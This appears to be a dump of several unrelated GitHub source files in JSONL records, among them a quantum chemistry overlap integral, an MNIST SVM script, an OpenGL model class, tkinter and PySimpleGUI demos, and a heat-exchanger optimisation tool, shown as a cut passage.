mb_ + t and mb_ >= 2 * v / 2.0) else 0\n for v in range(lb + 1)] for u in range(lb // 2 + 1)] for t in range(lb // 2 + 1)] for mb_ in\n range(lb + 1)]\n # vはv=v/2.0をあらわす\n\n for i in range(2 * la + 1):\n for j in range(2 * lb + 1):\n ma, mb = i - la, j - lb\n ma_, mb_ = abs(ma), abs(mb)\n Nma = (1.0 / (2 ** ma_ * fact[la])) * np.sqrt(2 * fact[la + ma_] * fact[la - ma_] / (2.0 - (ma != 0)))\n Nmb = (1.0 / (2 ** mb_ * fact[lb])) * np.sqrt(2 * fact[lb + mb_] * fact[lb - mb_] / (2.0 - (mb != 0)))\n\n for ta in range((la - ma_) // 2 + 1):\n for tb in range((lb - mb_) // 2 + 1):\n for ua in range(ta + 1):\n for ub in range(tb + 1):\n flag = False\n for va in range(ma_ // 2 + 1):\n for vb in range(mb_ // 2 + 1):\n f = -2 * ((va + vb) % 2) + 1\n va_ = va\n vb_ = vb\n if ma < 0:\n va_ += 1 / 2.0\n if va_ > (ma_ - 1) // 2 + 1 / 2.0:\n flag = True\n break\n if mb < 0:\n vb_ += 1 / 2.0\n if vb_ > (mb_ - 1) // 2 + 1 / 2.0:\n break\n pow_xa = math.floor(2 * ta + ma_ - 2 * (ua + va_))\n pow_xb = math.floor(2 * tb + mb_ - 2 * (ub + vb_))\n pow_ya = math.floor(2 * (ua + va_))\n pow_yb = math.floor(2 * (ub + vb_))\n\n S_mamb[i][j] += f * C_a[ma_][ta][ua][math.floor(2 * va_)] * \\\n C_b[mb_][tb][ub][math.floor(2 * vb_)] * \\\n Sab[pow_xa][pow_xb][pow_ya][pow_yb]\n if flag:\n break\n S_mamb[i][j] *= Nma * Nmb\n return S_mamb\n\n\ndef get_ovlp(mol: Mole) -> List[List[int]]:\n basis = mol.basis\n S = np.zeros((mol.basis_num, mol.basis_num))\n basis_len = len(basis)\n check = np.zeros((basis_len, basis_len))\n ind_i = 0\n change = [[0], [1, 2, 0], [0, 1, 2, 3, 4]] # p軌道だけ m=0,1,-1 ( x,y,z)順\n for i in range(len(basis)):\n ind_j = 0\n for j in range(len(basis)):\n la, lb = basis[i][1], basis[j][1]\n if not(check[i][j]):\n check[i][j] = check[j][i] = 1\n Slm = S_lm(basis[i], basis[j])\n for k in range(2 * la + 1):\n for l in range(2 * lb + 1):\n S[ind_i + change[la][k]][ind_j + change[lb][l]] = Slm[k][l]\n S[ind_j + change[lb][l]][ind_i + change[la][k]] = Slm[k][l]\n ind_j += 2 * lb + 1\n ind_i += 2 * la + 1\n return S\n\n\n","repo_name":"masaya0222/mscf","sub_path":"mscf/integral/int1e_ovlp.py","file_name":"int1e_ovlp.py","file_ext":"py","file_size_in_byte":6547,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"30570325118","text":"# 암호처리\n# [어떤 인터넷 서비스의 2가지 암호화 방법]\n\n# 1번 방법: 입력받은 문자의 ASCII 코드값 + 2\n\n# 2번 방법: (입력받은 문자의 ASCII 코드값 * 7) % 80 + 48\n\n# 사용자의 패스워드를 2가지 방법으로 암호화한 결과를 출력하는 프로그램을 작성하시오.\n\ns = input()\nfirst = ''\nsecond = ''\n\nfor i in range(0,len(s)):\n asc = ord(s[i])+2\n first += chr(asc)\n asc = (ord(s[i])*7)% 80 +48\n second += chr(asc)\nprint(first)\nprint(second)","repo_name":"ps4417/algorithm","sub_path":"Codeup/코드업 문자열/1408.py","file_name":"1408.py","file_ext":"py","file_size_in_byte":514,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"74079775399","text":"from __future__ import unicode_literals\n\nimport django_tables2 as tables\n\nclass RedshiftDBController:\n\n\t@staticmethod\n\tdef define_table_class(table_name, columns):\n\t attrs = dict((c, tables.Column()) for c in columns)\n\t klass = type(table_name, (tables.Table,), attrs)\n\t return klass\n\n\t@staticmethod\n\tdef make_result_dict(colnames, results):\n\t\t\"Return all rows from a cursor as a dict\"\n\t\tif results == None or len(results) == 0:\n\t\t\tresults = []\n\t\treturn [\n\t\t\tdict(zip(colnames, row))\n\t\t\tfor row in results\n\t\t]\n\n\t@staticmethod\n\tdef make_column_dict(colnames):\n\t\tresult = []\n\t\tfor name in colnames:\n\t\t\tresult.append({\"title\":name, \"data\":name})\n\t\t\n\t\treturn result","repo_name":"finetea/redshiftadmin","sub_path":"redshift/controls.py","file_name":"controls.py","file_ext":"py","file_size_in_byte":670,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"19070666503","text":"import pandas as pd\nimport matplotlib.pyplot as plt, matplotlib.image as mpimg\nfrom sklearn.model_selection import train_test_split\nfrom sklearn import svm\n\n# import data\nlabeled_images = pd.read_csv('data/train.csv')\n\n# create training data and test data\nimages = labeled_images.iloc[0:5000, 1:]\nlabels = labeled_images.iloc[0:5000, :1]\ntrain_images, test_images, train_labels, test_labels = train_test_split(images, labels, train_size=0.8, random_state=0)\n\n# view an image of a digit\ni = 1\nimg = train_images.iloc[i].as_matrix()\nimg = img.reshape((28, 28))\nmy_plot = plt.imshow(img, cmap='gray')\nmy_plot = plt.title(train_labels.iloc[i, 0])\nplt.show(my_plot)\n\n# histogram of pixel values\nmy_hist = plt.hist(train_images.iloc[i])\nplt.show(my_hist)\n\n# Use Vector classifier to train and score model\nclf = svm.SVC()\nclf.fit(train_images, train_labels.values.ravel())\nclf.score(test_images, test_labels)\n\n# Improve model by making any pixel with a value a 1 and no value as 0\ntest_images[test_images > 0] = 1\ntrain_images[train_images > 0] = 1\n\n# View binary image\nimg = train_images.iloc[i].as_matrix().reshape((28, 28))\nmy_plot = plt.imshow(img, cmap='binary')\nmy_plot = plt.title(train_labels.iloc[i])\n\n# Retrain using binary data\nclf = svm.SVC()\nclf.fit(train_images, train_labels.values.ravel())\nclf.score(test_images, test_labels)\n\n# Predict values of competition data\ntest_data = pd.read_csv('data/test.csv')\ntest_data[test_data > 0] = 1\nresults = clf.predict(test_data[0:])\nresults\n\n# Save results\ndf = pd.DataFrame(results)\ndf.index.name = 'ImageId'\ndf.index += 1\ndf.columns = ['Label']\ndf.to_csv('data/results.csv', header=True)\n# blurg\n","repo_name":"dmegbert/digit-recognizer","sub_path":"svm.py","file_name":"svm.py","file_ext":"py","file_size_in_byte":1645,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"13821239275","text":"from collections import deque\nfrom typing import Deque\n\n\nclass ConvergenceDetector:\n window_size: int\n threshold: float\n loss_window: Deque[float]\n running_average_window: Deque[float]\n\n def __init__(self, window_size: int = 25, threshold: float = 0.99) -> None:\n super().__init__()\n self.window_size = window_size\n self.threshold = threshold\n self.loss_window = deque()\n self.running_average_window = deque()\n\n def step(self, loss_value: float) -> bool:\n # Update the loss window.\n self.loss_window.append(loss_value)\n if len(self.loss_window) > self.window_size:\n self.loss_window.popleft()\n\n # Calculate the average over the window.\n loss_sum = 0\n for loss in self.loss_window:\n loss_sum += loss\n loss_average = loss_sum / len(self.loss_window)\n\n # Update the running average window.\n self.running_average_window.append(loss_average)\n if len(self.running_average_window) > self.window_size:\n past_average = self.running_average_window.popleft()\n\n # Indicate that convergence has been detected if the running average\n # of the loss hasn't been decreasing.\n if loss_average > past_average * self.threshold:\n return True\n\n return False","repo_name":"dcharatan/point2mesh-reimplementation","sub_path":"source/loss/ConvergenceDetector.py","file_name":"ConvergenceDetector.py","file_ext":"py","file_size_in_byte":1346,"program_lang":"python","lang":"en","doc_type":"code","stars":28,"dataset":"github-code","pt":"18"} +{"seq_id":"7464815001","text":"#!/usr/bin/env python3\n\nimport re\nimport numpy as np\nfrom OpenGL.GL import *\n\nclass Model:\n \"\"\"模型类\"\"\"\n \n def __init__(self, gltype, vshader, fshader, **kwds):\n \"\"\"构造函数\n \n gltype - GL基本图元\n vshader - 顶点着色器源码\n fshader - 片元着色器源码\n kwds - 关键字参数\n visible - 模型可见性,默认True\n opacity - 模型不透明,默认True\n inside - 模型显示在视锥体内,默认True\n sprite - 开启点精灵,默��False\n alive - 启动渲染计时器,默认False\n \"\"\"\n \n keys = ['visible', 'opacity', 'inside', 'sprite', 'alive']\n for key in kwds:\n if key not in keys:\n raise KeyError('不支持的关键字参数:%s'%key)\n\n gltypes = (\n GL_POINTS,\t # 绘制一个或多个顶点\n GL_LINES,\t # 绘制线段\n GL_LINE_STRIP,\t # 绘制连续线段\n GL_LINE_LOOP,\t # 绘制闭合的线段\n GL_TRIANGLES,\t # 绘制一个或多个三角形\n GL_TRIANGLE_STRIP,\t# 绘制连续三角形\n GL_TRIANGLE_FAN, # 绘制多个三角形组成的扇形\n GL_QUADS,\t # 绘制一个或多个四边形\n GL_QUAD_STRIP # 四边形条带\n )\n \n if gltype not in gltypes:\n raise ValueError('不支持的绘制方法')\n \n self.gltype = gltype # GL基本图元\n \n self.name = None # 模型(部件)名\n self.visible = kwds.get('visible', True) # 模型可见性,默认可见\n self.opacity = kwds.get('opacity', True) # 模型不透明属性,默认不透明\n self.inside = kwds.get('inside', True) # 模型顶点是否影响模型空间,默认True\n self.sprite = kwds.get('sprite', False) # 开启点精灵,默认False\n self.alive = kwds.get('alive', False) # 启动渲染计时器,默认False\n self.slide = None # 幻灯片函数\n self.depth = dict() # 深度轴均值\n self.picked = False # 模型被拾取\n \n self.program = None # 着色器程序\n self.cshaders = list() # 编译后的着色器\n self.shaders = list() # 着色器源码\n self.other = dict() # 着色器中其他变量\n self.attribute = dict() # attribute变量\n self.uniform = dict() # uniform变量\n \n self.vshape = None # 顶点数据的shape\n self.indices = None # 顶点索引\n self.r_x = None # 顶点坐标x的动态范围\n self.r_y = None # 顶点坐标y的动态范围\n self.r_z = None # 顶点坐标z的动态范围\n \n self.before = list() # 绘制前执行的GL命令\n self.after = list() # 绘制后执行的GL命令\n \n self.add_shader(vshader, GL_VERTEX_SHADER)\n self.add_shader(fshader, GL_FRAGMENT_SHADER)\n \n if self.sprite:\n self.before.append((glPushAttrib, (GL_POINT_BIT,)))\n self.before.append((glEnable, (GL_POINT_SPRITE,)))\n self.before.append((glEnable, (GL_PROGRAM_POINT_SIZE,)))\n self.after.append((glPopAttrib, ()))\n \n def add_shader(self, shader_src, shader_type):\n \"\"\"添加着色器\n \n shader_src - 着色器源码\n shader_type - 着色器类型\n \"\"\"\n \n shader_types = (\n GL_VERTEX_SHADER, # 顶点着色器\n GL_TESS_CONTROL_SHADER, # 细分控制着色器\n GL_TESS_EVALUATION_SHADER, # 细分估值着色器\n GL_GEOMETRY_SHADER, # 几何着色器\n GL_FRAGMENT_SHADER, # 片元着色器\n GL_COMPUTE_SHADER # 计算着色器\n )\n \n if shader_type not in shader_types:\n raise ValueError('不支持的着色器类型')\n \n self.shaders.append((shader_src, shader_type))\n \n def set_vertex(self, var_name, data, indices=None):\n \"\"\"设置顶点\n \n var_name - 顶点在着色器中的变量名\n data - 顶点数据\n indices - 顶点索引数据\n \"\"\"\n \n data = np.array(data, dtype=np.float32)\n if data.ndim == 3:\n data = data.reshape(-1, data.shape[-1])\n \n self.attribute.update({var_name: {'tag':'vertex', 'data':data, 'un':data.shape[-1], 'usize':data.itemsize}})\n self.depth.update({'y': data[:, 2].mean() if data.shape[-1] == 3 else 0})\n self.depth.update({'z': -data[:, 1].mean() if data.shape[-1] == 3 else 0})\n self.vshape = data.shape\n \n if self.inside:\n self.r_x = (data[:,0].min(), data[:,0].max())\n self.r_y = (data[:,1].min(), data[:,1].max())\n if self.vshape[1] == 3:\n self.r_z = (data[:,2].min(), data[:,2].max())\n \n if not indices is None:\n indices = np.array(indices, dtype=np.int32)\n self.indices = {'data':indices, 'n':indices.size}\n \n def set_normal(self, var_name, data):\n \"\"\"设置顶点法向量\n \n var_name - 顶点法向量在着色器中的变量名\n data - 顶点法向量数据\n \"\"\"\n \n data = np.array(data, dtype=np.float32)\n self.attribute.update({var_name: {'tag':'normal', 'data':data, 'un':data.shape[-1], 'usize':data.itemsize}})\n \n def set_texcoord(self, var_name, data):\n \"\"\"设置顶点纹理坐标\n \n var_name - 顶点纹理坐标在着色器中的变量名\n data - 顶点纹理坐标数据\n \"\"\"\n \n data = np.array(data, dtype=np.float32)\n if data.ndim == 1:\n data = data[:,np.newaxis]\n \n self.attribute.update({var_name: {'tag':'texcoord', 'data':data, 'un':data.shape[-1], 'usize':data.itemsize}})\n \n def set_color(self, var_name, data):\n \"\"\"设置顶点颜色\n \n var_name - 顶点颜色在着色器中的变量名\n data - 顶点颜色数据\n \"\"\"\n \n data = np.array(data, dtype=np.float32)\n self.attribute.update({var_name: {'tag':'color', 'data':data, 'un':data.shape[-1], 'usize':data.itemsize}})\n \n def set_psize(self, var_name, data):\n \"\"\"设置顶点大小\n \n var_name - 顶点大小在着色器中的变量名\n data - 顶点大小数据\n \"\"\"\n \n data = np.array(data, dtype=np.float32)\n self.attribute.update({var_name: {'tag':'psize', 'data':data, 'un':1, 'usize':data.itemsize}})\n \n if not self.sprite:\n self.sprite = True\n self.before.append((glPushAttrib, (GL_POINT_BIT,)))\n self.before.append((glEnable, (GL_POINT_SPRITE,)))\n self.before.append((glEnable, (GL_PROGRAM_POINT_SIZE,)))\n self.after.append((glPopAttrib, ()))\n \n def add_texture(self, var_name, texture):\n \"\"\"添加纹理\n \n var_name - 纹理在着色器中的变量名\n texture - wxgl.Texture对象\n \"\"\"\n \n self.uniform.update({var_name: {'tag':'texture', 'data':texture}})\n \n def set_cam_pos(self, var_name):\n \"\"\"设置相机位置(用于计算镜面反射)\n \n var_name - 相机位置在着色器中的变量名\n \"\"\"\n \n self.uniform.update({var_name: {'tag':'campos'}})\n \n def set_ae(self, var_name):\n \"\"\"设置相机方位角和高度角\n \n var_name - 相机方位角和高度角在着色器中的变量名\n \"\"\"\n \n self.uniform.update({var_name: {'tag':'ae'}})\n\n def set_timestamp(self, var_name):\n \"\"\"设置渲染时间戳(以毫秒为单位的浮点数)\n \n var_name - 渲染时间戳在着色器中的变量名\n \"\"\"\n \n self.uniform.update({var_name: {'tag':'timestamp'}})\n \n def set_picked(self, var_name):\n \"\"\"设置拾取状态\n \n var_name - 拾取状态在着色器中的变量名\n \"\"\"\n \n self.uniform.update({var_name: {'tag':'picked'}})\n \n def set_view_matrix(self, var_name, vmatrix=None):\n \"\"\"设置视点矩阵\n \n var_name - 视点矩阵在着色器中的变量名\n vmatrix - 视点矩阵或生成视点矩阵的函数,None表示使用当前视点矩阵\n \"\"\"\n \n if vmatrix is None:\n self.uniform.update({var_name: {'tag':'vmat'}})\n elif hasattr(vmatrix, '__call__'):\n self.uniform.update({var_name: {'tag':'vmat', 'f':vmatrix}})\n self.alive = True\n else:\n self.uniform.update({var_name: {'tag':'vmat', 'v':vmatrix}})\n \n def set_proj_matrix(self, var_name, pmatrix=None):\n \"\"\"设置投影矩阵\n \n var_name - 投影矩阵在着色器中的变量名\n mmatrix - 投影矩阵或生成投影矩阵的函数,None表示使用当前投影矩阵\n \"\"\"\n \n if pmatrix is None:\n self.uniform.update({var_name: {'tag':'pmat'}})\n elif hasattr(pmatrix, '__call__'):\n self.uniform.update({var_name: {'tag':'pmat', 'f':pmatrix}})\n self.alive = True\n else:\n self.uniform.update({var_name: {'tag':'pmat', 'v':pmatrix}})\n \n def set_model_matrix(self, var_name, mmatrix=None):\n \"\"\"设置模型矩阵\n \n var_name - 模型矩阵在着色器中的变量名\n mmatrix - 模型矩阵或生成模型矩阵的函数,None表示模型无几何变换\n \"\"\"\n \n if mmatrix is None:\n self.uniform.update({var_name: {'tag':'mmat'}})\n elif hasattr(mmatrix, '__call__'):\n self.uniform.update({var_name: {'tag':'mmat', 'f':mmatrix}})\n self.alive = True\n else:\n self.uniform.update({var_name: {'tag':'mmat', 'v':mmatrix}})\n\n def set_argument(self, var_name, var_value):\n \"\"\"设置变量\n \n var_name - 变量在着色器中的变量名\n var_value - 变量值或生成变量值的函数\n \"\"\"\n \n self.other.update({var_name:var_value})\n\n def set_text_size(self, var_name, size):\n \"\"\"设置2D文本的宽度和高度\n\n var_name - 变量在着色器中的变量名\n size - 2D文本的宽度和高度\n \"\"\"\n\n self.uniform.update({var_name: {'tag':'tsize', 'v':size}}) \n\n def set_line_style(self, width=None, stipple=None):\n \"\"\"设置线宽和线型\n \n width - 线宽\n stipple - 线型,重复因子(整数)和模式(16位二进制)组成的元组\n \"\"\"\n \n if not width is None or not stipple is None:\n self.before.append((glPushAttrib, (GL_LINE_BIT,)))\n if not width is None:\n self.before.append((glLineWidth,(width,)))\n if not stipple is None:\n self.before.append((glEnable, (GL_LINE_STIPPLE,)))\n self.before.append((glLineStipple, stipple))\n self.after.append((glPopAttrib, ()))\n \n def set_cull_mode(self, mode):\n \"\"\"设置面剔除方式\n \n mode - 剔除的面:'front'|'back'\n \"\"\"\n \n if mode is None:\n return\n \n if isinstance(mode, str):\n mode = mode.upper()\n \n if mode in ('FRONT', 'BACK'):\n self.before.append((glPushAttrib, (GL_ALL_ATTRIB_BITS,)))\n self.before.append((glEnable, (GL_CULL_FACE,)))\n self.before.append((glCullFace, (GL_FRONT if mode=='FRONT' else GL_BACK,)))\n self.after.append((glPopAttrib, ()))\n else:\n raise ValueError('不支持的面剔除参数:%s'%mode)\n \n def set_fill_mode(self, mode):\n \"\"\"设置填充方式\n \n mode - 填充模式:布尔型,或'FCBC'|'FLBC'|'FCBL'|'FLBL'\n \"\"\"\n \n if mode is None:\n return\n \n if isinstance(mode, str):\n mode = mode.upper()\n \n if mode in ('FCBC', 'FLBC', 'FCBL', 'FLBL', True, False):\n self.before.append((glPushAttrib, (GL_ALL_ATTRIB_BITS,)))\n if mode == 'FCBC' or mode == True:\n self.before.append((glPolygonMode,(GL_FRONT_AND_BACK, GL_FILL)))\n elif mode == 'FLBL' or mode == False:\n self.before.append((glPolygonMode,(GL_FRONT_AND_BACK, GL_LINE)))\n elif mode == 'FCBL':\n self.before.append((glPolygonMode,(GL_FRONT, GL_FILL)))\n self.before.append((glPolygonMode,(GL_BACK, GL_LINE)))\n else:\n self.before.append((glPolygonMode,(GL_FRONT, GL_LINE)))\n self.before.append((glPolygonMode,(GL_BACK, GL_FILL)))\n self.after.append((glPopAttrib, ()))\n else:\n raise ValueError('不支持的填充模式:%s'%mode)\n \n def set_slide(self, slide):\n \"\"\"设置幻灯片函数\"\"\"\n \n self.slide = slide\n if hasattr(slide, '__call__'):\n self.alive = True\n \n def verify(self):\n \"\"\"验证并返回正确的模型对象\"\"\"\n\n if self.gltype is None:\n raise ValueError('未设置GL基本图元')\n \n if self.vshape is None:\n raise ValueError('未设置模型顶点数据')\n \n p0 = re.compile(r'void\\s+main\\s*\\(\\s*\\)') # void main()\n p1 = re.compile(r'//') # 匹配注释\n p2 = re.compile(r'(in|attribute|uniform)\\s+(\\S+)\\s+(\\S+)\\s*;') # in|attribute|uniform vec4 position;\n p3 = re.compile(r'layout\\s*\\(\\s*location\\s*=\\s*(\\d+)\\s*\\)') # layout (location=0)\n pn = re.compile(r'\\[(\\d+)\\]$') # 匹配数组\n \n for src, genre in self.shaders: # 遍历每一个着色器\n for line in src.split('\\n'): # 遍历每一行\n if p0.search(line):\n break\n \n if p1.match(line.strip()):\n continue\n \n r2 = p2.search(line)\n if r2:\n qualifier, var_type, var_name = r2.groups()\n \n if qualifier in ('in', 'attribute'):\n if genre == GL_VERTEX_SHADER:\n qualifier = 'attribute'\n else:\n continue\n \n rpn = pn.search(var_name)\n if rpn:\n ndim = int(rpn.groups()[0]) # 变量数组的长度(若变量是数组的话)\n var_name = var_name.split('[')[0].strip()\n else:\n ndim = None\n \n if var_name in self.other:\n data = self.other[var_name]\n \n if not hasattr(data, '__call__'):\n if var_type == 'float' or var_type[:3] == 'vec':\n data = np.float32(data)\n elif var_type == 'double' or var_type[:4] == 'dvec':\n data = np.float64(data)\n elif var_type == 'int' or var_type[:4] == 'ivec':\n data = np.int32(data)\n elif var_type == 'uint' or var_type[:4] == 'uvec':\n data = np.uint8(data)\n \n if qualifier == 'attribute':\n if hasattr(data, '__call__'):\n raise ValueError('in或attribute限定的着色器变量不能赋值为函数')\n \n if data.ndim > 2:\n data = data.reshape(-1, data.shape[-1])\n elif data.ndim == 1:\n data = data.reshape(-1, 1)\n \n self.attribute.update({var_name: {'tag':'other', 'data':data, 'un':data.shape[-1], 'usize':data.itemsize}})\n else:\n if hasattr(data, '__call__'):\n self.uniform.update({var_name: {'tag':'other', 'f':data}})\n self.alive = True\n else:\n self.uniform.update({var_name: {'tag':'other', 'v':data}})\n \n dtype = {\n 'float': '1f',\n 'double': '1d',\n 'int': '1i',\n 'uint': '1ui',\n 'vec2': '2fv',\n 'vec3': '3fv',\n 'vec4': '4fv',\n 'dvec2': '2dv',\n 'dvec3': '3dv',\n 'dvec4': '4dv',\n 'ivec2': '2iv',\n 'ivec3': '3iv',\n 'ivec4': '4iv',\n 'uvec2': '2uiv',\n 'uvec3': '3uiv',\n 'uvec4': '4uiv'\n }.get(var_type, None)\n \n if not dtype:\n raise ValueError('着色器变量“%s”的数据类型不被支持'%var_name)\n \n if ndim is None:\n if dtype[-1] == 'v':\n ndim = 1\n else:\n if dtype[-1] != 'v':\n dtype = dtype + 'v'\n \n self.uniform[var_name].update({'dtype': dtype})\n self.uniform[var_name].update({'ndim': ndim})\n \n if var_name not in self.__getattribute__(qualifier):\n raise ValueError('着色器变量“%s”未赋值'%var_name)\n \n r3 = p3.match(line.strip())\n if r3:\n self.__getattribute__(qualifier)[var_name].update({'loc': int(r3.groups()[0])})\n\n","repo_name":"xufive/wxgl","sub_path":"wxgl/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":18454,"program_lang":"python","lang":"zh","doc_type":"code","stars":17,"dataset":"github-code","pt":"18"} +{"seq_id":"33656333561","text":"from tkinter import Tk, Canvas, Frame, BOTH, BOTTOM,TOP\nimport time\n\nclass Example(Frame):\n \n def __init__(self):\n super().__init__() \n \n self.initUI()\n \n \n def initUI(self):\n self.master.title(\"Lines\") \n self.pack(fill=BOTH, expand=1)\n\n canvas = Canvas(self)\n canvas.create_line(15, 25, 200, 25)\n canvas.create_line(300, 35, 300, 200, dash=(4, 2))\n canvas.create_line(55, 85, 155, 85, 105, 180, 55, 85)\n \n \n canvas.create_rectangle(30, 10, 120, 80, \n outline=\"#fb0\", fill=\"#fb0\")\n canvas.create_rectangle(150, 10, 240, 80, \n outline=\"#f50\", fill=\"#f50\")\n canvas.create_rectangle(270, 10, 370, 80, \n outline=\"#05f\", fill=\"#05f\") \n canvas.pack(fill=BOTH, expand=1)\n \n\n\ndef main():\n \n root = Tk()\n frame = Frame(root)\n frame.master.title(\"Lines\") \n frame.pack(fill=BOTH, expand=1)\n canvas = Canvas(frame)\n root.geometry(\"600x500+0+1000\")\n canvas.pack(side=TOP, fill=BOTH, expand=1)\n canvas.create_line( 0,100,100,0)\n canvas.create_line(15, 25, 200, 25)\n# canvas.create_line(300, 35, 300, 200, dash=(4, 2))\n# canvas.create_line(55, 85, 155, 85, 105, 180, 55, 85)\n #root.update_idletasks()\n #root.update()\n \n root.mainloop() \n print(\"The total distance of the path is:\" )\n time.sleep(3)\nif __name__ == '__main__':\n main() \n","repo_name":"EmilyXiong/AIFirstSem","sub_path":"AIClass/PythonLabs/src/tkinter/lines.py","file_name":"lines.py","file_ext":"py","file_size_in_byte":1466,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"39450534290","text":"##################################### lOAD ALL LIBS #################################\r\nimport PySimpleGUI as sg\r\nfrom math import log, isnan, prod\r\nimport inspect\r\nfrom subprocess import Popen\r\nimport time\r\nimport pandas as pd\r\nimport numpy as np \r\nfrom scipy.optimize import minimize\r\nfrom win32com.client.dynamic import Dispatch\r\nfrom PiPython import PiPython\r\nfrom pathlib import Path\r\nimport sys\r\nimport os\r\n#from tkinter import *\r\nif getattr(sys, 'frozen', False):\r\n import pyi_splash\r\nimport ctypes\r\n\r\nmyappid = 'mycompany.myproduct.subproduct.version' # arbitrary string\r\nctypes.windll.shell32.SetCurrentProcessExplicitAppUserModelID(myappid)\r\n\r\nroot = os.path.dirname(__file__)\r\nicon = os.path.join(root, 'images/app.ico')\r\n\r\n################################################################################\r\n\r\n############################# END OF LIBS ###################################### \r\nsg.theme('Material1')\r\nlogwindow = sg.Multiline(key='logwin',size=(100, 20), font=('Courier', 10))\r\n#print = logwindow.print\r\nlayout = [[sg.Text(\"Ensure that input_template.csv is updated\")], [sg.Button(\"RUN\")],\r\n [sg.Text('Select start and end date for PI historical data')],\r\n [sg.CalendarButton('Start date',target ='start_date',format='%d/%m/%Y'),sg.In(key='start_date', enable_events=True, visible=True) ],\r\n [sg.CalendarButton('End date',target ='end_date',format='%d/%m/%Y'), sg.In(key='end_date', enable_events=True, visible=True) ],\r\n [sg.Button(\"EXTRACT\")],[sg.Button(\"OPTIMIZE\")],[logwindow]]\r\n\r\n# Create the window\r\nwindow = sg.Window(\"Heat Pinch Opt\", layout, icon=icon)\r\n\r\nif getattr(sys, 'frozen', False):\r\n pyi_splash.close()\r\n# Create an event loop\r\nwhile True:\r\n event, values = window.read(timeout=100)\r\n # End program if user closes window or\r\n #####check if input file exist#######\r\n path_to_file = 'input_template.csv'\r\n path = Path(path_to_file)\r\n\r\n if not path.is_file():\r\n logwindow.print(f'The file {path_to_file} does not exist, creating file')\r\n new_inputdf = pd.DataFrame(columns = ['Train', 'Series', 'Exchanger', 'Cold_flow','Cold_in','Cold_out','Hot_flow','Hot_in','Hot_out','min_flow','max_flow','CP_gain','CP_intercept'])\r\n new_inputdf.to_csv('input_template.csv',encoding='utf-8', index =False)\r\n logwindow.print(f'The file {path_to_file} exists, opening file')\r\n p = Popen('input_template.csv', shell=True)\r\n \r\n #####################################\r\n\r\n if event == sg.WIN_CLOSED:\r\n break\r\n \r\n # presses the RUN button to inspect CSV template \r\n if event == \"RUN\":\r\n #Read template file\r\n template = pd.read_csv('input_template.csv', encoding ='utf-8')\r\n #sort by Train then by Series so that Exchangers calculated are run in the correct order\r\n template = template.sort_values(['Train', 'Series'])\r\n Position_df = template[['Train','Series','Exchanger']]\r\n limit_df = template[['Train','min_flow','max_flow']]\r\n limit_df = limit_df.groupby('Train').agg({'min_flow': 'min', 'max_flow': 'max'}).reset_index()\r\n template = template.drop(columns=['Train','Series','min_flow','max_flow','CP_gain','CP_intercept'])\r\n template.set_index(template.columns[0],inplace=True)\r\n \r\n logwindow.print(Position_df)\r\n logwindow.print(limit_df)\r\n logwindow.print(template)\r\n \r\n \r\n # press extract button to pull PI data \r\n if event == \"EXTRACT\" and (values['start_date'] != '' or values['end_date'] != ''):\r\n \r\n ## Start progress bar before download\r\n prog_window = sg.Window('PI download', [[sg.Text(\"Downloading PI data\")],\r\n [sg.ProgressBar(100, orientation='h', expand_x=True, size=(20, 20), key='-PBAR-')],\r\n ], size=(715, 150))\r\n \r\n event2, values2 = prog_window.read(timeout=100)\r\n \r\n prog_window['-PBAR-'].update(current_count=10 + 1)\r\n time.sleep(1)\r\n \r\n # Function to replace negative values with zero\r\n def replace_negatives(x):\r\n if x < 0:\r\n return np.nan\r\n else:\r\n return x\r\n\r\n #Read template file\r\n template = pd.read_csv('input_template.csv', encoding ='utf-8')\r\n #sort by Train then by Series so that Exchangers calculated are run in the correct order\r\n template = template.sort_values(['Train', 'Series'])\r\n Position_df = template[['Train','Series','Exchanger']]\r\n limit_df = template[['Train','min_flow','max_flow']]\r\n limit_df = limit_df.groupby('Train').agg({'min_flow': 'min', 'max_flow': 'max'}).reset_index()\r\n template = template.drop(columns=['Train','Series','min_flow','max_flow','CP_gain','CP_intercept'])\r\n template.set_index(template.columns[0],inplace=True)\r\n \r\n\r\n \r\n prog_window['-PBAR-'].update(current_count=20 + 1)\r\n time.sleep(1)\r\n \r\n #Extract pi data from the template\r\n taglist = list(set(template.values.flatten().tolist()))\r\n PI = PiPython.PiServer('DSAPPICOLL')\r\n ST = values['start_date'] + ' 00:00 AM'\r\n ET = values['end_date'] + ' 00:00 AM'\r\n \r\n\r\n prog_window['-PBAR-'].update(current_count=50 + 1)\r\n\r\n df = PI.PItoDF(taglist, ST, ET, Interval = '1m', Timeweighted = True ,Batchsize = 1)\r\n # Remove the 'date' column\r\n \r\n prog_window['-PBAR-'].update(current_count=90 + 1)\r\n time.sleep(1)\r\n \r\n date_column = df.pop('date')\r\n df = df.applymap(replace_negatives)\r\n df['date'] = date_column\r\n prog_window['-PBAR-'].update(current_count=99 + 1)\r\n time.sleep(1)\r\n df.to_csv('data_buffer.csv', encoding ='utf-8', index =False)\r\n \r\n prog_window.close()\r\n logwindow.print('PI data extracted to buffer.csv')\r\n elif event =='EXTRACT':\r\n logwindow.print('Date not selected yet')\r\n \r\n if event == \"OPTIMIZE\":\r\n logwindow.print('Loading functions')\r\n ################################# LOAD ALL FUNCTIONS ###########################\r\n def LR_Cp_Curve(Cin,Cout,CP_gain,CP_intercept):\r\n #calculate Cp of LR based on average inlet and outlet temperature\r\n #crude (0.0041* ((Cin + Cout)/2) + 1.8421)/86400\r\n #LR (0.0038 * (Cin + Cout)/2 + 1.7321)/86400\r\n return (CP_gain * (Cin + Cout)/2 + CP_intercept)/86400\r\n\r\n def Cp_Duty(Tin, Tout, Flow, Value, Type):\r\n 'Do Q = mCpDT calculation. Value given as either Q or CP , Type to indicate the given value is Q or CP'\r\n\r\n mDT = Flow * abs(Tin-Tout)\r\n\r\n if Type =='Q':\r\n #calculate Cp using Q/(mDT)\r\n return Value/mDT if mDT > 0 else 0\r\n else:\r\n #calculate Q using mCpDT\r\n return Value*mDT\r\n\r\n def T_out(Tin,Flow,Cp,Q):\r\n 'Calculate 